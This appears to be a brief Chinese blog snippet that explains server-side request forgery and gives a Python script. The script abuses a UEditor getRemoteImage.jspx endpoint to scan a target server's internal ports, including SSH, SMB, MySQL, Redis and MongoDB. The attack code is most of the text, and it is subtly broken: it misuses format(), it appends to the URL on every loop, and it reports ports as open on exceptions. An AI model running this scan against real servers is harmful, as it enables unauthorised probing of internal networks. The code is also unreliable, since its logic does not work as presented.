python-SSRF扫描
SSRF概念:
服务端请求伪造(Server-Side Request Forgery),指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
import requests
def portsacn(url, rurl):
ports = [21, 22, 23, 25, 80, 443, 445, 873, 1080, 1099, 1090, 1521, 3306, 6379, 27017]
for port in ports:
try:
url = url + '/ueditor/getRemoteImage.jspx?upfile=' + rurl + ':{port}' + format(port=port)
response = requests.get(url, timeout=6)
except:
print('[+]{port} is open'.format(port=port))
if __name__ == '__main__':
portsacn('http://www.target.com', 'www.google.com')